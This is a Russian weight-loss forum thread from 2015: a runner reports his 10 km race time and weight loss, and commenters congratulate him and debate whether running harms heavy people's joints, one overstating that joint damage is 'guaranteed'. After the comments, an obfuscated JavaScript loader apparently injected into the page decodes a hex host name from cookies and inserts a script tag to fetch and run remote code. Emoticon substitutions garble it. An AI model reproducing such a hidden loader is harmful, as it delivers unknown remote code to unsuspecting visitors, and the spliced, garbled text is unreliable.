Всем доброго дня, поделюсь новостью. 11 октября поучаствовал в г.Королев в забеге Космического мара...

Всем доброго дня, поделюсь новостью. 11 октября поучаствовал в г.Королев в забеге Космического марафона на 10 км. Результат меньше 54 минут. Меня устроил. Но пока готовился к забегу бег проходил на пульсе 140-160 (если верить умным книжкам при таком пульсе худеть сложнее, чем при более низком) и в течение 2 месяцев вес действительно колебался в районе 107,5 кг. С сегодняшнего дня снижаю нагрузку. Начинаю бегать по 3-4 раза в неделю по 8-10 км на пульсе не более 130. О результатат сообщу. Вес на сегодня 106,8. 1 апреля вес составлял - 131,5. Цель на Новый год - 99 кг
Всем удачи в борьбе со своим весом!!!

Елена Елена 16.10.2015 11:06

Вы молодец!!! восхищена!

Мы белые и пушистые 16.10.2015 11:09

молодец канешн С улыбкой

А можно с таким весом бегать? Для суставов не вредно?

Юлия Lysa 16.10.2015 11:10

Супер! Поздравляю!

алексей 16.10.2015 11:23

Мы белые и пушистые, вся молодость прошла в активном спорте, связанном с ногами. Чувствую задел в суставах есть. Главное не перебарщивать. А лежа на диване мы не похудеем

Ольга 16.10.2015 11:57

танюшка 16.10.2015 12:04

Круто!!!

Людмилка 16.10.2015 12:05

алексей д, Удачи в достижении цели и НГ в новом прикиде Хорошо

Алексей 16.10.2015 12:13

Мотивация и настрой это хорошо, Вы молодец. Но выше уже сказали, я чуть дополню. Вес тела во время приземления после фазы полета при беге увеличивается в 5 раз. Так что проблемы с суставами гарантированы. Ходьба и вело - лучше бега С улыбкой

Надежда Горитовская 16.10.2015 12:26

Молодец.! Так держать.! Успехов а дальнейшем.!

Екатерина 16.10.2015 12:42

Татьяна Стрелкова 16.10.2015 12:44

Юлия Дружинина 18.10.2015 11:16

Успехов в дальнейшем! Пусть будут к НГ ваши 99 кг! Удачи Хорошо

Юлия Дружинина 18.10.2015 11:19

Ольга Бостан, Алексей Соколов, Спасибо за информацию. Вес у меня большой, бегать пока не пробовала, но думала, пока тогда воздержусь... Ходьбу практикую, стараюсь ежедневно, но не всегда получается. хожу около 4,5 км в день и при возможности аквааэробика еще

Ирина 18.10.2015 11:23

Удачи Вам!

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально